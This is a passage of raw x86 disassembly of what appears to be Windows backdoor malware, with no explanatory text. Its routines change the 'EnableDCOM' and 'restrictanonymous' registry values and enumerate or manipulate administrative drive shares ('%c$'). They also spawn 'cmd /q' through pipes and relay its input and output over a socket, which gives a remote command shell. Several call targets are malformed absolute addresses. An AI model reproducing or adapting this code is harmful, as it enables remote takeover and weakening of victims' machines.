loc_41609A:				; CODE XREF: sub_415F88+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_4160CD
; ---------------------------------------------------------------------------


loc_4160B3:				; CODE XREF: sub_415F88+E2j
		push	offset unk_433548
		jmp	short loc_4160BF
; ---------------------------------------------------------------------------


loc_4160BA:				; CODE XREF: sub_415F88+13j
		push	offset unk_433508


loc_4160BF:				; CODE XREF: sub_415F88+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4160CD:				; CODE XREF: sub_415F88+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4160EC
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_4160EC:				; CODE XREF: sub_415F88+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		cmp	dword_43AE90, edi
		pop	ecx
		jnz	loc_416267
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41610F:				; CODE XREF: sub_415F88+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43ACE4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4161AC
		cmp	eax, 0EAh
		jz	short loc_4161AC
		mov	esi, offset off_433370


loc_416140:				; CODE XREF: sub_415F88+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416157
		push	offset unk_4334D4
		jmp	short loc_41615C
; ---------------------------------------------------------------------------


loc_416157:				; CODE XREF: sub_415F88+1C6j
		push	offset unk_433498


loc_41615C:				; CODE XREF: sub_415F88+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41618F
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41618F:				; CODE XREF: sub_415F88+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_433390
		jb	short loc_416140
		jmp	loc_416244
; ---------------------------------------------------------------------------


loc_4161AC:				; CODE XREF: sub_415F88+1AAj
					; sub_415F88+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41623B


loc_4161BB:				; CODE XREF: sub_415F88+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41999C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_416230
		push	edi
		call	sub_40DBB0
		push	eax
		push	0
		call	sub_40DCC3
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4161EA
		push	offset unk_433464
		jmp	short loc_4161EF
; ---------------------------------------------------------------------------


loc_4161EA:				; CODE XREF: sub_415F88+259j
		push	offset unk_433428


loc_4161EF:				; CODE XREF: sub_415F88+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416223
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416223:				; CODE XREF: sub_415F88+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_416230:				; CODE XREF: sub_415F88+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4161BB
		xor	edi, edi


loc_41623B:				; CODE XREF: sub_415F88+22Dj
		push	[ebp+var_8]
		call	dword_43AE28


loc_416244:				; CODE XREF: sub_415F88+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41610F
		lea	eax, [ebp+var_214]
		push	offset unk_4333F0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41627A
; ---------------------------------------------------------------------------


loc_416267:				; CODE XREF: sub_415F88+177j
		lea	eax, [ebp+var_214]
		push	offset unk_4333B0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_41627A:				; CODE XREF: sub_415F88+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_416298
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416298:				; CODE XREF: sub_415F88+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_415F88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162AC	proc near		; CODE XREF: sub_415F28:loc_415F6Fp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43AE68, ebx
		push	esi
		jnz	loc_4163DA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_416337
		mov	ax, word_4338CC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_416319
		push	offset unk_433898
		jmp	short loc_41631E
; ---------------------------------------------------------------------------


loc_416319:				; CODE XREF: sub_4162AC+64j
		push	offset dword_43386C


loc_41631E:				; CODE XREF: sub_4162AC+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_41634A
; ---------------------------------------------------------------------------


loc_416337:				; CODE XREF: sub_4162AC+36j
		lea	eax, [ebp+var_220]
		push	offset unk_433638
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_41634A:				; CODE XREF: sub_4162AC+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416369
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416369:				; CODE XREF: sub_4162AC+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_4163D3
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_4163B5
		push	offset unk_433820
		jmp	short loc_4163BA
; ---------------------------------------------------------------------------


loc_4163B5:				; CODE XREF: sub_4162AC+100j
		push	offset unk_4337DC


loc_4163BA:				; CODE XREF: sub_4162AC+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_4163ED
; ---------------------------------------------------------------------------


loc_4163D3:				; CODE XREF: sub_4162AC+E2j
		push	offset unk_433790
		jmp	short loc_4163DF
; ---------------------------------------------------------------------------


loc_4163DA:				; CODE XREF: sub_4162AC+13j
		push	offset unk_433508


loc_4163DF:				; CODE XREF: sub_4162AC+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4163ED:				; CODE XREF: sub_4162AC+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41640C
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41640C:				; CODE XREF: sub_4162AC+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		cmp	dword_43AE90, ebx
		pop	ecx
		jnz	loc_416581
		push	edi
		mov	esi, offset off_433370
		mov	edi, 200h


loc_416430:				; CODE XREF: sub_4162AC+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40DC17
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41644B
		push	offset unk_433760
		jmp	short loc_416450
; ---------------------------------------------------------------------------


loc_41644B:				; CODE XREF: sub_4162AC+196j
		push	offset unk_433728


loc_416450:				; CODE XREF: sub_4162AC+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41647F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41647F:				; CODE XREF: sub_4162AC+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_433380
		jb	short loc_416430
		nop
		call	near ptr 27F05B9h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_416569


loc_4164AA:				; CODE XREF: sub_4162AC+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41655E
		cmp	bl, 41h
		jz	loc_41655E
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43ADF8
		cmp	eax, 3
		jnz	short loc_41655E
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40DC17
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41651C
		push	offset unk_433760
		jmp	short loc_416521
; ---------------------------------------------------------------------------


loc_41651C:				; CODE XREF: sub_4162AC+267j
		push	offset unk_433728


loc_416521:				; CODE XREF: sub_4162AC+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416551
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416551:				; CODE XREF: sub_4162AC+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_41655E:				; CODE XREF: sub_4162AC+206j
					; sub_4162AC+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_4164AA


loc_416569:				; CODE XREF: sub_4162AC+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_4336E8
		push	eax
		call	sub_4172B0
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_416594
; ---------------------------------------------------------------------------


loc_416581:				; CODE XREF: sub_4162AC+173j
		lea	eax, [ebp+var_220]
		push	offset unk_4333B0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_416594:				; CODE XREF: sub_4162AC+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4165B2
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_4165B2:				; CODE XREF: sub_4162AC+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4162AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165C6	proc near		; CODE XREF: ___:0041562Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_416717
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_4407FC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4240A0
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4168E9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_416631
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_433914
		call	sub_40BFE1
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41666B
; ---------------------------------------------------------------------------


loc_416631:				; CODE XREF: sub_4165C6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41699B
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_416672
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_433914
		call	sub_40BFE1
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 27E07FEh


loc_41666B:				; CODE XREF: sub_4165C6+69j
		xor	eax, eax
		jmp	loc_416712
; ---------------------------------------------------------------------------


loc_416672:				; CODE XREF: sub_4165C6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27F0875h
		sub	eax, ebx
		jz	short loc_4166CC
		dec	eax
		jz	short loc_4166C6
		dec	eax
		jz	short loc_4166B2
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_4338D0
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------


loc_4166B2:				; CODE XREF: sub_4165C6+D5j
		mov	edi, dword_424168
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------


loc_4166C6:				; CODE XREF: sub_4165C6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4166D0
; ---------------------------------------------------------------------------


loc_4166CC:				; CODE XREF: sub_4165C6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4166D0:				; CODE XREF: sub_4165C6+104j
		nop
		call	near ptr 27E07FEh
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 27E09D1h


loc_4166E1:				; CODE XREF: sub_4165C6+EAj
					; sub_4165C6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_424078
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_43AE30
		push	esi
		call	sub_417C3B
		pop	ecx
		push	1
		pop	eax


loc_416712:				; CODE XREF: sub_4165C6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4165C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416717	proc near		; CODE XREF: sub_4165C6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_416801
		mov	ebx, dword_424140
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_424078
		test	eax, eax
		jnz	short loc_41677A
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_4339F4
		jmp	short loc_41679A
; ---------------------------------------------------------------------------


loc_41677A:				; CODE XREF: sub_416717+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4167A2
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_4339A4


loc_41679A:				; CODE XREF: sub_416717+61j
		call	sub_40BFE1
		pop	ecx
		jmp	short loc_4167D0
; ---------------------------------------------------------------------------


loc_4167A2:				; CODE XREF: sub_416717+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_416810
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_416805
		push	offset dword_43396C
		call	sub_40BF6D


loc_4167D0:				; CODE XREF: sub_416717+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4167DC
		push	[ebp+var_4]
		call	edi


loc_4167DC:				; CODE XREF: sub_416717+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4167E7
		push	[ebp+var_8]
		call	edi


loc_4167E7:				; CODE XREF: sub_416717+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4167F0
		push	eax
		call	edi


loc_4167F0:				; CODE XREF: sub_416717+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4167FA
		push	eax
		call	edi


loc_4167FA:				; CODE XREF: sub_416717+DEj
		push	esi
		call	sub_417C3B
		pop	ecx


loc_416801:				; CODE XREF: sub_416717+1Dj
		xor	eax, eax
		jmp	short loc_41680B
; ---------------------------------------------------------------------------


loc_416805:				; CODE XREF: sub_416717+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41680B:				; CODE XREF: sub_416717+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416810	proc near		; CODE XREF: sub_416717+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417330
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_42413C
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2790811h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2770B6Ah
		test	eax, eax
		jz	short loc_4168CC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_4407F8[eax], ecx
		call	near ptr 26508BEh
		nop
		jmp	short loc_4168E2
; ---------------------------------------------------------------------------


loc_4168CC:				; CODE XREF: sub_416810+9Aj
		call	near ptr 267036Ah
		nop
		push	eax
		push	offset dword_433A44
		call	sub_40BFE1
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4168E2:				; CODE XREF: sub_416810+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168E9	proc near		; DATA XREF: sub_4165C6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_424074
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_416912:				; CODE XREF: sub_4168E9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41697A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41694D


loc_416923:				; CODE XREF: sub_4168E9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41693D
		cmp	dl, 0Dh
		jz	short loc_41693D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41693D:				; CODE XREF: sub_4168E9+44j
					; sub_4168E9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_416923


loc_41694D:				; CODE XREF: sub_4168E9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43ADE8
		test	eax, eax
		jle	short loc_41697A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_416912
; ---------------------------------------------------------------------------


loc_41697A:				; CODE XREF: sub_4168E9+2Dj
					; sub_4168E9+79j
		mov	esi, dword_42408C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_416996
		call	esi
		push	eax
		push	offset dword_433A90
		call	sub_40BFE1
		pop	ecx
		pop	ecx


loc_416996:				; CODE XREF: sub_4168E9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4168E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41699B	proc near		; DATA XREF: sub_4165C6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4169B4:				; CODE XREF: sub_41699B+39j
					; sub_41699B+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43ADB0
		test	eax, eax
		jle	loc_416AB9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4169D6
		dec	[ebp+var_10]
		jmp	short loc_4169B4
; ---------------------------------------------------------------------------


loc_4169D6:				; CODE XREF: sub_41699B+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_416A99
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_416A46
		cmp	al, 7Fh
		jz	short loc_416A46
		cmp	al, 3
		jnz	short loc_416A01
		push	ebx
		push	ebx
		nop
		call	near ptr 27F097Ch
		jmp	short loc_416A6D
; ---------------------------------------------------------------------------


loc_416A01:				; CODE XREF: sub_41699B+5Aj
		cmp	al, 15h
		jnz	short loc_416A23
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_416A59
; ---------------------------------------------------------------------------


loc_416A23:				; CODE XREF: sub_41699B+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_416A5A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_416A59
; ---------------------------------------------------------------------------


loc_416A46:				; CODE XREF: sub_41699B+52j
					; sub_41699B+56j
		cmp	esi, ebx
		jbe	short loc_416A70
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_416A59:				; CODE XREF: sub_41699B+86j
					; sub_41699B+A9j
		pop	ecx


loc_416A5A:				; CODE XREF: sub_41699B+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43ADE8
		test	eax, eax
		jle	short loc_416AB9


loc_416A6D:				; CODE XREF: sub_41699B+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_416A70:				; CODE XREF: sub_41699B+ADj
		cmp	al, 0Dh
		jnz	loc_4169B4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_416AB9
		xor	esi, esi
		jmp	loc_4169B4
; ---------------------------------------------------------------------------


loc_416A99:				; CODE XREF: sub_41699B+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_416AAA
		mov	[ebp+var_C], 1
		jmp	loc_4169B4
; ---------------------------------------------------------------------------


loc_416AAA:				; CODE XREF: sub_41699B+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4169B4
; ---------------------------------------------------------------------------


loc_416AB9:				; CODE XREF: sub_41699B+2Bj
					; sub_41699B+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41699B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416ABE	proc near		; CODE XREF: sub_416ADE+Ap
					; sub_416BB6+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_417AB0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_416ABE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ADE	proc near		; CODE XREF: sub_416BCD+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
